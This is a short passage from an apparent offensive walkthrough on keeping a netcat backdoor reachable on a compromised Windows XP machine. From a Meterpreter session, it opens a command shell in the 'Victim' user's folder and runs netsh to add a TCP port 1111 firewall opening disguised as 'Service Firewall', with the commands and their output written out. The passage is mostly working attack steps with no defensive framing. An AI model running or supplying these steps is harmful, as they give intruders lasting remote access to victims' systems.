Riferimento: netcat/backdoor
Next, we need to alter the system to allow remote connections through the firewall to our netcat backdoor. For this :
meterpreter > execute -f cmd -i
Process 1604 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Victim\My Documents > netsh firewall show opmode
Netsh firewall show opmode
C:\Documents and Settings\Victim\My Documents > netsh firewall add portopening TCP 1111 "Service Firewall" ENABLE ALL
C:\Documents and Settings\Victim\My Documents > netsh firewall show portopening
Bye Bye !!